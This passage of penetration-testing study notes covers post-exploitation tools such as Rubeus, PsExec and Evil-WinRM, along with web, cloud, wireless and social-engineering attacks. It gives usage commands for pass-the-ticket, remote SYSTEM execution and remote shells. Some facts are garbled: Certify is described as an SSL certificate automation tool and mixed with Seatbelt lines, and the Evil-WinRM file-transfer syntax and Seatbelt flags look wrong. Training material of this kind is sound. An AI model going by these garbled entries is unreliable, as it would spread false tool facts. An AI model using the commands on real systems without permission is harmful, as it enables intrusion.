      • Silver Ticket: Create and inject forged Kerberos service tickets.
      • Ticket Renewal: Renew existing tickets and adjust their expiration.
    • Example: Using Rubeus to renew an expired Kerberos ticket to maintain access without re-entering credentials.
    • Usage:
      • Dumping Kerberos Tickets: → Rubeus.exe dump
      • Pass-the-TicketRubeus.exe ptt /ticket:[path_to_ticket]
  • Certify
    • Definition: Certify is a tool designed for managing and automating the issuance of SSL/TLS certificates, primarily for use in securing web servers and applications.
    • It integrates with Certificate Authorities (CAs) to automate the certificate issuance process, making it easier to deploy and maintain secure communications.
    • It is designed to enumerate and collect various system and user information, which can be useful for further exploitation or understanding the target environment.
    • Seatbelt can identify potential privilege escalation vectors, such as unpatched vulnerabilities or misconfigured permissions.
    • Features:
      • Certificate Request: Requests certificates with specific attributes.
      • Certificate Abuse: Exploits misconfigurations in AD CS to escalate privileges.
    • Example: Using Certify to request a certificate for a privileged account and using it to authenticate as that account.
  • Seatbelt
    • Definition: Seatbelt is a post-exploitation tool used for information gathering and privilege escalation on Windows systems.
    • It is designed to enumerate and collect various system and user information, which can be useful for further exploitation or understanding the target environment.
    • Seatbelt can identify potential privilege escalation vectors, such as unpatched vulnerabilities or misconfigured permissions.
    • Features:
      • System Enumeration: Gathers detailed information about the system, including installed software, running processes, and security settings.
      • Credential Enumeration: Identifies potential credentials and sensitive data.
    • Example: Using Seatbelt to gather information about installed security software and system configurations on a compromised machine.
    • UsageSeatbelt.exe
    • Flags:
      • -p: Collects information about potential privilege escalation paths.
      • -n: Collects network-related information, such as network shares and connections.
      • -s: Collects system information, including OS version and installed software.
  • PowerShell/PowerShell Integrated Scripting Environment (ISE)
    • Definition: A task automation and configuration management framework from Microsoft, with a scripting language and a command-line shell.
    • PowerShell Integrated Scripting Environment (ISE) is a graphical user interface (GUI) for PowerShell, providing a more user-friendly environment for writing, testing, and debugging PowerShell scripts.
    • Features:
      • Script Editor: A multi-line editor with syntax highlighting for writing and editing PowerShell scripts.
      • Console Pane: A PowerShell console for executing commands interactively.
      • Debugging Tools: Built-in tools for debugging scripts, including breakpoints, step execution, and variable inspection.
      • Integrated Help: Provides context-sensitive help for cmdlets and functions.
    • Example: Using PowerShell to execute scripts that enumerate system information or deploy malware.
    • Usage:
      • Get-Command: Lists all available cmdlets, functions, workflows, aliases, and scripts.
      • Get-Help: Provides help documentation for cmdlets and functions.
      • Get-Process: Retrieves information about running processes.
      • Set-ExecutionPolicy: Configures the script execution policy.
      • Invoke-Command: Executes commands on remote systems.
  • PsExec
    • Definition: A command-line tool that allows administrators to execute processes on remote systems.
    • PsExec is a command-line utility from Microsoft’s Sysinternals suite that allows you to execute processes on remote systems and interact with them as if you were sitting at the console of the remote machine.
    • It is commonly used for remote administration, troubleshooting, and scripting in Windows environments.
    • PsExec can be used to run processes with elevated privileges, create remote shells, and execute commands across multiple systems.
    • Features:
      • Remote Execution: Run commands and executables on remote systems.
      • Interactive Sessions: Start interactive sessions on remote systems.
      • Privilege Management: Execute commands with different user privileges, including SYSTEM.
      • No Installation Required: PsExec does not need to be installed on the remote systems; it runs as a standalone executable.
    • Example: Using PsExec to run a script on a remote system to deploy malware or extract data.
    • Usage:
      • Run a Command on a Remote Systempsexec \\RemotePC -u [username] -p [password] [command]
      • Start an Interactive Command Shellpsexec \\RemotePC -u [username] -p [password] cmd
      • Run a Command with SYSTEM Privilegespsexec \\RemotePC -s [command]
      • Redirect Output to a Filepsexec \\RemotePC -u [username] -p [password] [command] > output.txt
      • Execute a Command on Multiple Systemspsexec \\System1,\\System2,\\System3 -u [username] -p [password] [command]
  • Evil-WinRM
    • Definition: Evil-WinRM is a Ruby-based tool used for remote management of Windows systems over WinRM (Windows Remote Management).
    • It is often used in penetration testing and red teaming engagements to exploit WinRM vulnerabilities, gain remote access, and execute commands on target systems.
    • Evil-WinRM can be employed to perform various administrative tasks, exploit WinRM misconfigurations, and facilitate post-exploitation activities.
    • Features:
      • Remote Command Execution: Execute commands and scripts on remote Windows systems via WinRM.
      • Interactive Shell: Provides an interactive command shell on the remote system.
      • Credential Management: Supports passing credentials for authentication and session management.
      • File Upload/Download: Allows uploading and downloading files from the remote system.
    • Example: Using Evil-WinRM to gain a remote shell on a compromised Windows machine and execute commands.
    • Usage:
      • Connecting to a Remote Systemevil-winrm -i [IP_ADDRESS] -u [USERNAME] -p [PASSWORD]
      • Run Commands Remotelyevil-winrm -i [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] -c [COMMAND]
      • Upload and Download Filesevil-winrm -i [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] -u [LOCAL_FILE] -d [REMOTE_DESTINATION]
        • evil-winrm -i [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] -l [REMOTE_FILE] -d [LOCAL_DESTINATION]
  • Living off the Land Binaries (LOLbins)
    • Definition: Using legitimate, built-in system binaries to perform malicious actions.
    • Living Off the Land Binaries (LOLbins) refers to the practice of using legitimate, pre-installed binaries and tools available on a system to achieve objectives like privilege escalation, persistence, or data exfiltration without deploying new, malicious software.
    • This technique leverages existing system binaries that can be exploited to perform actions typically associated with malicious activities.
    • The advantage of LOLbins is that they often evade detection by traditional security solutions since they are legitimate system components.
    • Examples:
      • mshta.exe: Executes HTML applications (HTA files) and can be used to execute scripts.
      • powershell.exe: Executes PowerShell scripts for various tasks.
      • certutil.exe: Downloads and installs certificates but can be used to download files from the internet.
    • Purpose: Avoid detection by using trusted system binaries for malicious activities.
    • Example: Using certutil.exe to download and execute a malicious payload on a compromised machine.

Objective 4.5

Attack Types

  • Brute-force Attack
    • Definition: Systematically trying all possible combinations of passwords or encryption keys.
    • Examples: Using automated tools to guess passwords or decrypt data.
    • Prevention: Implement account lockout mechanisms, use strong passwords, and employ rate limiting.
  • Collision Attack
    • Definition: Exploiting hash function weaknesses to find two inputs that produce the same hash value.
    • Examples: Generating two different documents with the same hash value to trick digital signature verification.
    • Prevention: Use collision-resistant hash functions like SHA-256.
  • Directory Traversal
    • Definition: Exploiting insufficient input validation to access directories and files outside of the web root directory.
    • Examples: Using “../” sequences to navigate to restricted directories.
    • Prevention: Validate and sanitize user inputs, restrict file access permissions.
  • Server-Side Request Forgery (SSRF)
    • Definition: Exploiting a server to make requests to unintended locations, often to internal systems.
    • Examples: Forcing a server to make requests to local network services or metadata endpoints.
    • Prevention: Validate and sanitize URLs, restrict outbound traffic.
  • Cross-Site Request Forgery (CSRF)
    • Definition: Forcing a user to execute unwanted actions on a web application where they are authenticated.
    • Examples: Sending a crafted link to a user to perform actions like changing passwords or transferring funds.
    • Prevention: Implement anti-CSRF tokens, use same-site cookies, and ensure state changes require re-authentication.
  • Deserialization Attack
    • Definition: Exploiting insecure deserialization to execute arbitrary code or carry out unauthorized actions.
    • Examples: Manipulating serialized objects to execute commands or elevate privileges.
    • Prevention: Use safe serialization libraries, validate and sanitize serialized data.
  • Injection Attacks
    • SQL Injection
      • Definition: Inserting malicious SQL queries via input fields.
      • Examples: Exploiting input fields to run unauthorized SQL commands.
      • Prevention: Use parameterized queries, validate and sanitize inputs.
    • Command Injection
      • Definition: Injecting commands to be executed by the system shell.
      • Examples: Input fields allowing shell commands to be executed.
      • Prevention: Validate inputs, use secure coding practices.
    • Cross-Site Scripting (XSS)
      • Definition: Injecting malicious scripts into web pages viewed by other users.
      • Examples: Executing JavaScript in a user’s browser to steal cookies or deface websites.
      • Prevention: Encode outputs, validate and sanitize inputs.
    • Server-Side Template Injection
      • Definition: Injecting code into templates that are processed on the server side.
      • Examples: Manipulating template variables to execute server-side code.
      • Prevention: Use secure template engines, validate and sanitize template inputs.
  • Insecure Direct Object Reference (IDOR)
    • Definition: Accessing objects directly using user-supplied input without proper authorization checks.
    • Examples: Manipulating URL parameters to access other users’ data.
    • Prevention: Implement access controls and authorization checks.
  • Session Hijacking
    • Definition: Stealing or manipulating session tokens to gain unauthorized access.
    • Examples: Using stolen session cookies to impersonate a user.
    • Prevention: Use secure cookies, implement session expiration, use HTTPS.
  • Arbitrary Code Execution
    • Definition: Executing arbitrary code on a target system.
    • Examples: Exploiting vulnerabilities to run unauthorized code.
    • Prevention: Regularly update and patch systems, use exploit mitigation techniques.
  • File Inclusions
    • Remote File Inclusion (RFI)
      • Definition: Including remote files via input fields.
      • Examples: Using URLs in input fields to include malicious scripts.
      • Prevention: Restrict file inclusion, validate and sanitize inputs.
    • Local File Inclusion (LFI)
      • Definition: Including local files via input fields.
      • Examples: Using file paths in input fields to access sensitive files.
      • Prevention: Restrict file inclusion, validate and sanitize inputs.
    • Web Shell
      • Definition: Uploading scripts that provide remote access to a server.
      • Examples: Using file upload vulnerabilities to deploy a shell.
      • Prevention: Validate and sanitize file uploads, use secure configurations.
  • API Abuse
    • Definition: Exploiting weaknesses in APIs to perform unauthorized actions.
    • Examples: Manipulating API requests to bypass authentication or extract sensitive data.
    • Prevention: Implement strong authentication and authorization, validate and sanitize inputs.
  • JSON Web Token (JWT) Manipulation
    • Definition: Tampering with JWT payloads or signatures to gain unauthorized access.
    • Examples: Modifying JWT claims to elevate privileges or bypass authentication.
    • Prevention: Use strong signing algorithms, validate JWT integrity, and implement proper key management.

Tools

  • TruffleHog
    • Purpose: Searches through git repositories for high entropy strings and secrets, such as passwords or API keys.
    • Use Case: Secrets enumeration, credential dumping.
    • Example: Finding accidentally committed AWS secret keys in a public repository.
  • Burp Suite
    • Purpose: Comprehensive web vulnerability scanner and testing tool.
    • Use Case: Web application testing, manual testing, and automated scanning for vulnerabilities like SQL injection, XSS, and CSRF.
    • Example: Intercepting and modifying web traffic to test for injection vulnerabilities.
  • Zed Attack Proxy (ZAP)
    • Purpose: Open-source web application security scanner.
    • Use Case: Finding security vulnerabilities in web applications during development and testing phases.
    • Example: Automating scans to identify common web vulnerabilities like XSS and SQL injection.
  • Postman
    • Purpose: API development and testing tool.
    • Use Case: API testing, exploring API endpoints, and validating API responses.
    • Example: Testing RESTful APIs for improper configurations and potential abuses.
  • sqlmap
    • Purpose: Automated tool for SQL injection and database takeover.
    • Use Case: Identifying and exploiting SQL injection vulnerabilities.
    • Example: Automating the process of detecting and exploiting SQL injection points to extract data from databases.
  • Gobuster/DirBuster
    • Purpose: Directory and file brute-forcing tools.
    • Use Case: Finding hidden directories and files on a web server.
    • Example: Enumerating directories and files to uncover sensitive information not meant to be publicly accessible.
  • Wfuzz
    • Purpose: Web application brute-forcing tool for directories, files, and parameters.
    • Use Case: Fuzzing web applications to discover vulnerabilities like directory traversal and file inclusions.
    • Example: Brute-forcing URL parameters to discover hidden endpoints and potential vulnerabilities.
      • wfuzz -c -w /path/to/wordlist.txt --hc 404 http://target.com/FUZZ
  • WPScan
    • Purpose: WordPress vulnerability scanner.
    • Use Case: Scanning WordPress websites for known vulnerabilities, plugin issues, and weak passwords.
    • Example: Identifying outdated plugins and themes on a WordPress site that could be exploited.
      • wpscan --url http://example.com

Objective 4.6

Attack Types

  • Metadata Service Attacks
    • Definition: Exploiting metadata services available in cloud environments to gain access to sensitive information or credentials.
    • Examples: Using SSRF to access AWS instance metadata and retrieve IAM roles and temporary credentials.
    • Prevention: Implement network segmentation, disable metadata services where not needed, use IAM policies to restrict access.
  • Identity and Access Management (IAM) Misconfigurations
    • Definition: Improperly configured IAM policies that allow unauthorized access or actions.
    • Examples: Overly permissive IAM roles or policies, users having more privileges than necessary.
    • Prevention: Follow the principle of least privilege, regularly audit and review IAM policies and roles.
  • Third-Party Integrations
    • Definition: Exploiting vulnerabilities or misconfigurations in third-party services integrated with your system.
    • Examples: Vulnerable plugins or external APIs that allow attackers to compromise the main application.
    • Prevention: Regularly update third-party components, audit third-party integrations for security.
  • Resource Misconfiguration
    • Network Segmentation
      • Definition: Incorrect network segmentation that allows unauthorized access between network segments.
      • Examples: Allowing sensitive systems to be accessed from public networks.
      • Prevention: Implement proper network segmentation and access controls.
    • Network Controls
      • Definition: Misconfigured network security controls such as firewalls and security groups.
      • Examples: Open ports that should be closed, allowing inbound traffic from any IP.
      • Prevention: Regularly review and update network security configurations.
    • IAM Credentials
      • Definition: Mismanaged IAM credentials leading to unauthorized access.
      • Examples: Hardcoding IAM credentials in application code or scripts.
      • Prevention: Use environment variables or secrets management solutions for credentials.
    • Exposed Storage Buckets
      • Definition: Publicly accessible storage buckets containing sensitive data.
      • Examples: AWS S3 buckets with sensitive data accessible without authentication.
      • Prevention: Set appropriate access controls on storage buckets, regularly review bucket policies.
    • Public Access to Services
      • Definition: Services exposed to the internet without proper authentication or access controls.
      • Examples: Publicly accessible databases or admin interfaces.
      • Prevention: Restrict public access and use VPNs or private connections for sensitive services.
  • Logging Information Exposure
    • Definition: Sensitive information being logged and accessible to unauthorized users.
    • Examples: Logging credentials, API keys, or PII.
    • Prevention: Implement log sanitization, restrict log access, and follow data privacy regulations.
  • Image and Artifact Tampering
    • Definition: Compromising container images or artifacts used in software deployment.
    • Examples: Inserting malicious code into container images.
    • Prevention: Use trusted sources for images, implement image scanning and signing.
  • Supply Chain Attacks
    • Definition: Attacks targeting the software development and deployment pipeline.
    • Examples: Compromising a third-party library or build system to insert malware.
    • Prevention: Implement secure supply chain practices, use integrity checks, and monitor dependencies.
  • Workload Runtime Attacks
    • Definition: Attacks targeting running workloads in environments such as containers or virtual machines.
    • Examples: Exploiting vulnerabilities in container runtimes or misconfigurations.
    • Prevention: Keep runtime environments up to date, use security-focused configurations.
  • Container Escape
    • Definition: Breaking out of a container to gain access to the host system.
    • Examples: Exploiting container runtime vulnerabilities to execute code on the host.
    • Prevention: Use minimal privilege for containers, apply security patches, and use hardened container images.
  • Trust Relationship Abuse
    • Definition: Exploiting trust relationships between systems to perform unauthorized actions.
    • Examples: Leveraging trust between domains or systems to escalate privileges.
    • Prevention: Minimize trust relationships, regularly review and audit trust configurations.

Tools

  • Pacu
    • Purpose: AWS exploitation framework.
    • Pacu is an open-source AWS exploitation framework designed for offensive security testing of AWS cloud environments.
    • It helps security professionals and penetration testers assess the security of AWS environments by simulating real-world attack scenarios.
    • Pacu allows users to discover misconfigurations, vulnerabilities, and potential weaknesses in their AWS accounts.
    • Features:
      • Modular Framework: Pacu’s functionality is organized into modules, each designed to test specific aspects of AWS security.
      • Automated and Manual Testing: Supports both automated scans and manual testing workflows.
      • Credential Management: Handles AWS credentials securely, allowing testers to switch between different sets of credentials easily.
      • Detailed Reporting: Generates comprehensive reports detailing findings and potential security issues.
    • Use Case: Performing security assessments on AWS environments to identify misconfigurations and vulnerabilities.
    • Example: Testing for weak IAM policies, S3 bucket permissions, and other AWS-specific issues.
    • Prevention: Regularly audit and review AWS configurations using Pacu to identify and remediate security gaps.
    • Usagepython3 pacu.py
  • Docker Bench
    • Purpose: Security auditing tool for Docker containers
    • Docker Bench for Security is an open-source script that checks for common best practices around the deployment and configuration of Docker containers in production.
    • It helps in assessing the security of Docker installations against the benchmarks provided by the Center for Internet Security (CIS).
    • Features:
      • Security Checks: Runs a series of checks to ensure Docker is securely configured.
      • CIS Benchmark: Aligns with the CIS Docker Benchmark recommendations.
      • Detailed Reports: Provides detailed reports on the findings and recommendations.
      • Automated and Manual Use: Can be run manually or integrated into automated security workflows.
    • Use Case: Checking Docker configurations against security best practices.
    • Example: Ensuring Docker daemon configuration is secure, container settings are appropriate, and security options are enabled.
    • Prevention: Run Docker Bench regularly to ensure Docker containers are configured securely.
    • Usagesh docker-bench-security.sh
  • Kube-hunter
    • Purpose: Kubernetes security auditing tool.
    • Kube-hunter is an open-source tool designed to perform security assessments on Kubernetes clusters.
    • It identifies potential security issues and vulnerabilities in Kubernetes environments, helping administrators and security professionals secure their clusters.
    • Features:
      • Automated Scanning: Automatically scans Kubernetes clusters for security vulnerabilities.
      • Extensive Coverage: Checks for a wide range of security issues, including misconfigurations and exposed services.
      • Detailed Reports: Provides detailed reports on discovered vulnerabilities and potential security issues.
      • Interactive and Network Scanning: Supports both interactive (direct access) and network scanning modes.
    • Use Case: Scanning Kubernetes clusters for security issues and misconfigurations.
    • Example: Identifying open ports, insecure configurations, and vulnerabilities in a Kubernetes environment.
    • Prevention: Use Kube-hunter to regularly scan Kubernetes clusters and address identified issues to enhance cluster security.
    • Usage:
      • Scans the network for Kubernetes clusters → kube-hunter --remote <TARGET_IP>
  • Prowler
    • Purpose: AWS security best practices assessment tool.
    • Prowler is an open-source tool designed to perform security best practices assessments, audits, incident response, continuous monitoring, and compliance checks on AWS environments.
    • It helps ensure that your AWS accounts adhere to the best practices and compliance standards set by organizations like the Center for Internet Security (CIS), General Data Protection Regulation (GDPR), and others.
    • Key Features:
      • Security Assessments: Conducts security best practices assessments based on AWS CIS Benchmark.
      • Compliance Checks: Includes checks for GDPR, HIPAA, ISO 27001, and more.
      • Automated and Manual Use: Can be used interactively or integrated into CI/CD pipelines.
      • Detailed Reporting: Generates detailed reports with findings and recommendations.
    • Use Case: Auditing AWS accounts for security best practices and compliance.
    • Example: Checking IAM policies, S3 bucket configurations, CloudTrail logs, and other AWS resources.
    • Prevention: Implement Prowler to continuously monitor AWS environments for security compliance and best practices.
    • Usage:
      • Running Specific Checks → ./prowler -c check_id
      • Running Compliance Checks → ./prowler -g compliance_standard
  • ScoutSuite
    • Purpose: Multi-cloud security auditing tool.
    • ScoutSuite is an open-source multi-cloud security-auditing tool that helps assess the security posture of cloud environments.
    • It supports AWS, Azure, Google Cloud Platform (GCP), and other cloud providers.
    • ScoutSuite uses the cloud providers’ APIs to gather configuration data and then analyzes the information to provide a comprehensive report on security issues and best practices.
    • Features:
      • Multi-Cloud Support: Audits AWS, Azure, GCP, and other cloud environments.
      • Comprehensive Reporting: Generates detailed reports highlighting security issues and recommendations.
      • Easy to Use: Simple CLI interface for easy execution.
      • Customizable: Allows customization of checks and reporting.
      • Interactive Reports: Produces interactive HTML reports for better visualization of findings.
    • Use Case: Assessing the security posture of cloud environments such as AWS, Azure, and Google Cloud.
    • Example: Identifying misconfigurations, insecure policies, and other security risks across different cloud platforms.
    • Prevention: Utilize ScoutSuite to perform regular security audits across multi-cloud environments and remediate identified risks.
    • Usage:
      • Scanning an AWS Environment → scoutsuite aws --profile <AWS_PROFILE>
      • Scanning an Azure Environment → scoutsuite azure --subscription <SUBSCRIPTION_ID>
      • Scanning a GCP Environment → scoutsuite gcp --organization <ORG_ID> --project <PROJECT_ID>
  • Cloud-Native Vendor Tools
    • Purpose: Tools provided by cloud vendors for security assessment and monitoring.
    • Cloud-native vendor tools are provided by cloud service providers like AWS, Azure, and Google Cloud Platform (GCP) to help users manage, monitor, and secure their cloud environments.
    • These tools are designed to work seamlessly with their respective cloud platforms, providing deep integration and extensive features.
    • Use Case: Utilizing built-in cloud services for security management and compliance.
    • Examples:
      • AWS Security Hub: Centralized security management for AWS.
      • Azure Security Center: Unified security management and advanced threat protection.
      • Google Cloud Security Command Center: Security and risk management for Google Cloud resources.
    • Prevention: Leverage these cloud-native tools to continuously monitor and improve the security posture of cloud environments, ensuring compliance and detecting potential threats.

Objective 4.7

  • Wardriving
    • Definition: Searching for Wi-Fi networks by driving around with a device that detects wireless networks.
    • Purpose: Identifying vulnerable Wi-Fi networks for potential exploitation.
    • Example: Using a laptop with Wi-Fi scanning software to map out available networks in a neighborhood.
    • Prevention: Secure Wi-Fi networks with strong encryption (WPA3), hide SSIDs, and limit signal range.
  • Evil Twin Attack
    • Definition: Setting up a rogue Wi-Fi access point that mimics a legitimate one to intercept data.
    • Purpose: Stealing sensitive information by tricking users into connecting to the rogue network.
    • Example: An attacker creates a Wi-Fi network named “CoffeeShopWiFi” to lure customers of a nearby coffee shop.
    • Prevention: Educate users to verify Wi-Fi network names, use VPNs, and enable mutual authentication.
  • Signal Jamming
    • Definition: Disrupting wireless communications by overwhelming the network with interference signals.
    • Purpose: Denying access to legitimate users by causing network disruption.
    • Example: Using a signal jammer to disrupt Wi-Fi connectivity in a specific area.
    • Prevention: Implementing spread spectrum technologies, using robust wireless protocols, and securing physical locations.
  • Protocol Fuzzing
    • Definition: Sending malformed or unexpected data to a network protocol to discover vulnerabilities.
    • Purpose: Identifying security flaws in network protocols that can be exploited.
    • Example: Sending random data to a Bluetooth protocol to find buffer overflow vulnerabilities.
    • Prevention: Regularly update and patch protocols, use secure coding practices, and employ robust error handling.
  • Packet Crafting
    • Definition: Creating custom network packets to test the behavior of network devices or protocols.
    • Purpose: Identifying weaknesses in how devices handle unusual or malicious packets.
    • Example: Using tools like Scapy to send specially crafted TCP packets to a firewall.
    • Prevention: Apply network hardening techniques, use intrusion detection systems (IDS), and regularly audit network configurations.
  • Deauthentication
    • Definition: Forcing devices to disconnect from a Wi-Fi network by sending deauthentication frames.
    • Purpose: Disrupting user connections to capture re-authentication data or cause denial of service.
    • Example: Using a deauthentication tool to force devices off a network, making them reconnect to a rogue access point.
    • Prevention: Use WPA3, implement management frame protection (802.11w), and monitor for unusual disconnections.
  • Captive Portal
    • Definition: Intercepting and redirecting user traffic to a login page before granting internet access.
    • Purpose: Often used legitimately in public Wi-Fi to control access, but can be exploited for phishing.
    • Example: A hotel uses a captive portal to require guest login for Wi-Fi access, but an attacker could create a fake portal to steal credentials.
    • Prevention: Use HTTPS on captive portals, educate users about phishing risks, and implement secure authentication methods.
  • Wi-Fi Protected Setup (WPS) Personal Identification Number (PIN) Attack
    • Definition: Exploiting vulnerabilities in the WPS PIN feature to gain access to a Wi-Fi network.
    • Purpose: Bypassing WPA/WPA2 security by brute-forcing the WPS PIN.
    • Example: Using tools like Reaver to attempt various PIN combinations on a WPS-enabled router.
    • Prevention: Disable WPS on routers, use strong WPA3 encryption, and ensure routers are up to date with security patches.

Tools

  • WPAD (Web Proxy Auto-Discovery Protocol)
    • Purpose: Automates the discovery of web proxy configuration files
    • The Web Proxy Auto-Discovery Protocol (WPAD) is a protocol used by clients to automatically locate a proxy configuration file, typically called wpad.dat, which provides the settings needed to connect to the internet through a proxy server.
    • This protocol helps in managing proxy settings across a large network and simplifies the configuration process for end-users.
    • Features:
      • Automatic Proxy Configuration: Allows clients to automatically discover and configure the appropriate proxy settings without manual intervention.
      • Ease of Management: Simplifies the management of proxy settings across a network by centralizing the configuration.
      • Support for Multiple Platforms: Works with various operating systems and web browsers that support automatic proxy configuration.
    • Use Case: Can be used maliciously to redirect traffic through a malicious proxy.
    • Example: Attacker sets up a rogue WPAD server to intercept and monitor web traffic.
    • Prevention: Disable WPAD in network settings and enforce the use of secure proxies.
  • WiFi-Pumpkin
    • Purpose: Framework for rogue access point attacks.
    • WiFi-Pumpkin is an open-source framework for conducting wireless network security assessments and attacks.
    • It is designed to facilitate various wireless network attacks, such as creating rogue access points, performing man-in-the-middle (MITM) attacks, and capturing network traffic.
    • WiFi-Pumpkin provides a user-friendly interface and powerful tools for network penetration testing and auditing.
    • Features:
      • Rogue Access Point Creation: Allows the creation of fake access points to lure unsuspecting users.
      • Man-in-the-Middle (MITM) Attacks: Facilitates intercepting and manipulating network traffic.
      • Network Traffic Analysis: Captures and analyzes network packets.
      • Credential Harvesting: Captures login credentials from victims connecting to the rogue access point.
      • Plugins and Extensions: Supports various plugins for extending functionality.
      • User-Friendly Interface: Provides a graphical user interface (GUI) for ease of use.
    • Use Case: Creating fake access points to capture user credentials and data.
    • Example: Setting up a fake hotspot named “Free WiFi” to lure users and intercept their data.
    • Prevention: Educate users to avoid suspicious Wi-Fi networks, use VPNs, and implement secure Wi-Fi settings.
    • Usagepython3 wifi-pumpkin.py
  • Aircrack-ng
    • Purpose: Suite of tools for assessing Wi-Fi network security.
    • Aircrack-ng is a suite of tools designed for analyzing and cracking WEP and WPA/WPA2 wireless network security.
    • It is widely used by security professionals and enthusiasts for testing the security of wireless networks.
    • Aircrack-ng is powerful for conducting various types of wireless network attacks, including packet sniffing, decryption, and cracking encryption keys.
    • Features:
      • Packet Capture: Captures and analyzes packets from wireless networks.
      • Cracking Encryption: Cracks WEP and WPA/WPA2 encryption keys using captured packets.
      • Injection: Supports packet injection for attacking and testing networks.
      • Monitoring: Monitors and analyzes wireless traffic.
      • Compatibility: Works with various wireless adapters that support monitoring and injection.
    • Components:
      • airmon-ng: A tool to enable monitor mode on wireless interfaces.
      • airodump-ng: Captures packets from wireless networks.
      • aireplay-ng: Injects packets into the network for various attacks.
      • aircrack-ng: Cracks WEP and WPA/WPA2 encryption keys using captured packets.
      • airbase-ng: Creates fake access points.
      • airtun-ng: Creates virtual network interfaces.
      • packetforge-ng: Creates custom packets for injection.
    • Use Case: Cracking WEP and WPA-PSK keys to gain unauthorized access to Wi-Fi networks.
    • Example: Using Aircrack-ng to capture packets and crack the encryption key of a nearby Wi-Fi network.
    • Prevention: Use strong WPA3 encryption, complex passwords, and regularly update network security settings.
  • WiGLE.net
    • Purpose: Database of Wi-Fi networks globally, mapped by geographic location.
    • WiGLE.net (Wireless Geographic Logging Engine) is a web-based service that provides a platform for mapping and analyzing wireless networks worldwide.
    • It collects and aggregates data from users who log wireless network information, including Wi-Fi access points, their locations, and other relevant details.
    • WiGLE.net is commonly used for discovering the geographic distribution of Wi-Fi networks and for research purposes related to wireless network security and geolocation.
    • Features:
      • Wireless Network Mapping: Visualizes the location and distribution of Wi-Fi access points on a map.
      • Data Collection: Aggregates data from users who submit wireless network information.
      • Search and Filtering: Allows users to search for specific networks and filter results based on various criteria.
      • AP Data: Provides detailed information about access points, including SSID, MAC address, and encryption type.
      • Download Data: Users can download collected data for offline analysis.
    • Use Case: Finding and analyzing the distribution of Wi-Fi networks.
    • Example: Searching for Wi-Fi networks in a specific area to find vulnerable networks.
    • Prevention: Secure Wi-Fi networks with strong encryption and avoid broadcasting SSIDs in public places.
  • InSSIDer
    • Purpose: Wi-Fi network scanner.
    • InSSIDer is a wireless network scanner and analyzer tool developed by MetaGeek.
    • It is designed to help users analyze and troubleshoot wireless networks by providing detailed information about Wi-Fi access points and network performance.
    • InSSIDer is commonly used by network administrators, security professionals, and enthusiasts to optimize wireless network performance and diagnose connectivity issues.
    • Features:
      • Network Discovery: Scans and lists available Wi-Fi networks, displaying detailed information about each network.
      • Signal Strength: Provides real-time signal strength readings to help identify weak or strong signals.
      • Channel Analysis: Analyzes and visualizes channel usage to identify congestion and optimize channel selection.
      • Interference Detection: Identifies potential sources of interference and helps in mitigating issues.
      • Historical Data: Tracks and displays historical data on network performance for trend analysis.
      • Network Visualization: Displays networks on a graph to visualize signal strength, channel usage, and network distribution.
    • Use Case: Analyzing Wi-Fi networks to optimize performance and security.
    • Example: Identifying overlapping channels and signal strength issues in a home or office network.
    • Prevention: Regularly scan and optimize Wi-Fi networks to ensure optimal security and performance.
  • Kismet
    • Purpose: Wireless network detector, sniffer, and intrusion detection system.
    • Kismet is an open-source wireless network detector, sniffer, and intrusion detection system.
    • It is designed to capture and analyze wireless network traffic, making it a valuable tool for network administrators, security professionals, and enthusiasts.
    • Kismet supports a wide range of wireless devices and can be used to detect and investigate wireless network security issues, including unauthorized access points and client devices.
    • Features:
      • Wireless Network Detection: Identifies and maps wireless networks, including hidden networks.
      • Packet Capture: Captures and logs wireless packets for analysis.
      • Network Visualization: Provides detailed visualization of network traffic and device locations.
      • Intrusion Detection: Detects unauthorized access points and potential security threats.
      • Multi-Interface Support: Supports multiple wireless interfaces for comprehensive monitoring.
      • Plugin Support: Extensible with various plugins for additional functionality.
    • Use Case: Monitoring wireless traffic and detecting unauthorized access points.
    • Example: Using Kismet to detect rogue access points and suspicious activity in a corporate network.
    • Prevention: Implement continuous monitoring with tools like Kismet to identify and mitigate unauthorized wireless activity.
    • Usage → sudo kismet

Objective 4.8

Attack Types

  • Phishing
    • Definition: Deceptive emails designed to trick recipients into divulging sensitive information.
    • Example: An email pretending to be from a bank asking for account verification.
    • Prevention: Use email filters, educate users on recognizing phishing attempts, and implement multi-factor authentication.
  • Vishing
    • Definition: Voice phishing, where attackers use phone calls to deceive victims.
    • Example: A scammer posing as tech support to gain remote access to a victim’s computer.
    • Prevention: Educate users to verify caller identities and avoid sharing sensitive information over the phone.
  • Whaling
    • Definition: Targeted phishing aimed at high-profile individuals within an organization.
    • Example: A fake email from a CEO asking the CFO for a wire transfer.
    • Prevention: Train executives on cybersecurity awareness and implement strict verification processes for sensitive requests.
  • Spear Phishing
    • Definition: Highly targeted phishing aimed at specific individuals or organizations.
    • Example: An email tailored to an employee, appearing to come from a trusted colleague, containing a malicious attachment.
    • Prevention: Regular cybersecurity training and awareness, use of email authentication protocols.
  • Smishing
    • Definition: SMS phishing, where attackers send deceptive text messages.
    • Example: A text message claiming to be from a delivery service with a malicious link.
    • Prevention: Educate users to be cautious of unsolicited texts and avoid clicking on unknown links.
  • Dumpster Diving
    • Definition: Searching through trash to find sensitive information.
    • Example: Finding discarded documents with personal information in a company’s dumpster.
    • Prevention: Shred all sensitive documents before disposal and secure trash bins.
  • Surveillance
    • Definition: Monitoring individuals or locations to gather information.
    • Example: Observing the layout and security measures of a target building.
    • Prevention: Use surveillance detection measures and ensure physical security protocols are followed.
  • Shoulder Surfing
    • Definition: Observing someone’s private information over their shoulder.
    • Example: Watching someone enter their password at an ATM.
    • Prevention: Use privacy screens, be aware of surroundings, and shield inputs when entering sensitive information.
  • Tailgating
    • Definition: Gaining unauthorized access by following someone into a restricted area.
    • Example: An attacker following an employee through a secure door without using a badge.
    • Prevention: Implement strict access control measures and train employees to not allow tailgating.
  • Eavesdropping
    • Definition: Listening in on private conversations to gather information.
    • Example: Overhearing confidential discussions in a public place.
    • Prevention: Use private areas for sensitive conversations and employ sound masking technologies.
  • Watering Hole
    • Definition: Compromising a website frequented by a target group to distribute malware.
    • Example: Injecting malicious code into a popular industry forum visited by target employees.
    • Prevention: Monitor and secure frequently visited sites and use web filtering tools.
  • Impersonation
    • Definition: Pretending to be someone else to gain access or information.
    • Example: An attacker posing as a maintenance worker to gain physical access to a building.
